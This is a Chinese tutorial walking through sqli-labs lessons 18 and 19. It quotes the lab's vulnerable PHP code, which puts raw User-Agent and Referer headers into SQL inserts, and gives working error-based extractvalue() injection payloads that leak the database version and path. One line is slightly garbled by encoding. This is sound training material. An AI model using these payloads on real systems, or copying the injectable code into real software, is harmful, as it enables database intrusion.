文章目录
18.Less18-Header Injection-Error Based
18.1、注入分析
正常输入,产生如下显示:
从源码我们可以看出本关卡对于输入的username和password都进行了过滤,因此我们无法进行对输入的参数进行注入。
继续分析源码我们可以发现含有如下insert语句,将(‘
u
a
g
e
n
t
′
,
′
uagent', '
uagent′,′IP’, $uname)三个参数插入到了数据库中,由于uname无法注入,因此我们可以尝试对IP和uagent进行构造产生注入。
$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
首先我们查看IP和uagent的来源,如下
18.1.1、_SERVER
$_SERVER 是一个包含了诸如头信息(header)、路径(path)、以及脚本位置(script locations)等等信息的数组。这个数组中的项目由 Web 服务器创建。不能保证每个服务器都提供全部项目;服务器可能会忽略一些,或者提供一些没有在这里列举出来的项目。
注意: PHP 5.4.0 之前,$HTTP_SERVER_VARS 包含着相同的信息,但它不是一个超全局变量。 (注意 $HTTP_SERVER_VARS 与 $_SERVER 是不同的变量,PHP处理它们的方式不同)
$_SERVER[‘HTTP_USER_AGENT’] //当前请求的 User_Agent: 头部的内容。
$_SERVER[‘REMOTE_ADDR’] //当前用户 IP 。
其余用法请参考:$_SERVER详解
对于IP和uagent这两个参数,数据库并还没有对过滤措施,因此我们可以用burp拦包修改进行注入。
由于会输出数据库的相关错误信息,因此我们可以利用报错注入。
在user-agent中输入以下语句时,
‘ 【单引号,报错】
’ # 【单引号+注释,报错】
’ and ‘1’='1 【单引号+and+等式,正常显示】
那么可以判断useragent的闭合方式为单引号闭合,并且还会输出数据库的相关报错信息,因此可以利用报错进行注入。
User-Agent: ' and extractvalue(1,concat(0x7e,(select version()),0x7e)) and'1'='1
如上图,我们得到了数据库版本号,其他的payload以此类推,自由发挥啦!
18.2、代码分析
/*获取用户相关信息,包括用户浏览器、操作系统等信息*/
$uagent = $_SERVER['HTTP_USER_AGENT'];
/*获取浏览网页用户的IP*/
$IP = $_SERVER['REMOTE_ADDR'];
/*对用户名和密码进行过滤。*/
$uname = check_input($_POST['uname']);
$passwd = check_input($_POST['passwd']);
$sql="SELECT users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
$result1 = mysql_query($sql);/*返回sql语句的查询结果集*/
$row1 = mysql_fetch_array($result1);/*在查询结果集中取需要的一行作为数组*/
if($row1)
{
echo '<font color= "#FFFF00" font size = 3 >';
$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
mysql_query($insert);
//echo 'Your IP ADDRESS is: ' .$IP;
echo "</font>";
//echo "<br>";
echo '<font color= "#0000ff" font size = 3 >';
echo 'Your User Agent is: ' .$uagent;
echo "</font>";
echo "<br>";
print_r(mysql_error());
echo "<br><br>";
echo '<img src="../images/flag.jpg" />';
echo "<br>";
}
19.Less19-Header Injection-Referer-Error Based
19.1、注入分析
正常输入,产生如下显示:
类似于less18,只不过我们是在拦包后的referer中不断的进行注入,在这里给出一个paylaod,其他的任由读者自行发挥啦!
报错产生mysql数据库的路径:
Referer: ' and extractvalue(1,concat(0x7e,(select @@basedir),0x7e)) and '1'='1
如下,显示了数据库的路径:
19.2、代码分析
/*将很容易得到链接到当前页面的前一页面的地址。*/
$uagent = $_SERVER['HTTP_REFERER'];
/*获取浏览网页用户的IP*/
$IP = $_SERVER['REMOTE_ADDR'];
…………………………………………………………
$uname = check_input($_POST['uname']);
$passwd = check_input($_POST['passwd']);
…………………………………………………………
$sql="SELECT users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
$result1 = mysql_query($sql);
$row1 = mysql_fetch_array($result1);
if($row1)
{
echo '<font color= "#FFFF00" font size = 3 >';
$insert="INSERT INTO `security`.`referers` (`referer`, `ip_address`) VALUES ('$uagent', '$IP')";
mysql_query($insert);
//echo 'Your IP ADDRESS is: ' .$IP;
echo "</font>";
//echo "<br>";
echo '<font color= "#0000ff" font size = 3 >';
echo 'Your Referer is: ' .$uagent;
echo "</font>";
echo "<br>";
print_r(mysql_error());
echo "<br><br>";
echo '<img src="../images/flag.jpg" />';
echo "<br>";
}